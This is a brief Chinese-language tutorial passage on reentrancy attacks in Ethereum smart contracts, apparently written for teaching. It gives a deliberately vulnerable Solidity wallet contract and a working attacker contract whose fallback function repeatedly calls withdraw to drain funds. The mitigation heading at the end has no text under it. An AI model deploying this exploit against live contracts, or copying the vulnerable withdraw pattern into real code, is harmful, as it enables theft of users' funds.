重入攻击
重入攻击本质上与编程里的递归调用类似,当合约将以太币发送到未知地址时就可能会发生,威胁以太坊智能合约的安全性。
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
// 钱包管理合约
contract Wallet {
mapping(address => uint) public balances;
function deposit(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
bool checkstatus;
if(balances[msg.sender] >= _amount) {
(checkstatus,) = msg.sender.call{value:_amount}('');
if(checkstatus) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
}
// 重入攻击合约
contract AttackWallet {
Wallet reInstance;
function getEther() public{
payable(msg.sender).transfer(payable(address(this)).balance);
}
constructor(address _addr) {
reInstance = Wallet(payable(_addr));
}
function callDeposit() public payable{
reInstance.deposit{value:msg.value}(address(this));
}
function attack() public {
reInstance.withdraw(1 gwei);
}
fallback() external payable {
if(address(reInstance).balance >= 1 gwei){
reInstance.withdraw(1 gwei);
}
}
}如何避免重入攻击
Last updated